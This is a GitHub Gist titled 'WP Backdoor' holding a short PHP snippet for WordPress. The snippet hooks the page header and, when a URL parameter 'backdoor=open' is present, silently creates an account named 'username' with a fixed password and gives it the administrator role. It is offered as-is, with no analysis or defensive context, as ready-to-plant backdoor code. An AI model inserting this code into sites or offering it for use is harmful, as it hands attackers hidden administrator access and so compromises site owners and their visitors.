Last active
November 23, 2015 18:10
-
-
Save jordancalder/494abcfb0957bbb928ef to your computer and use it in GitHub Desktop.
WP Backdoor
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('wp_head', 'backdoor'); | |
function backdoor() { | |
if ($_GET['backdoor'] == 'open') { | |
require('wp-includes/registration.php'); | |
If (!username_exists('username')) { | |
$user_id = wp_create_user('username', 'password'); | |
$user = new WP_User($user_id); | |
$user->set_role('administrator'); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment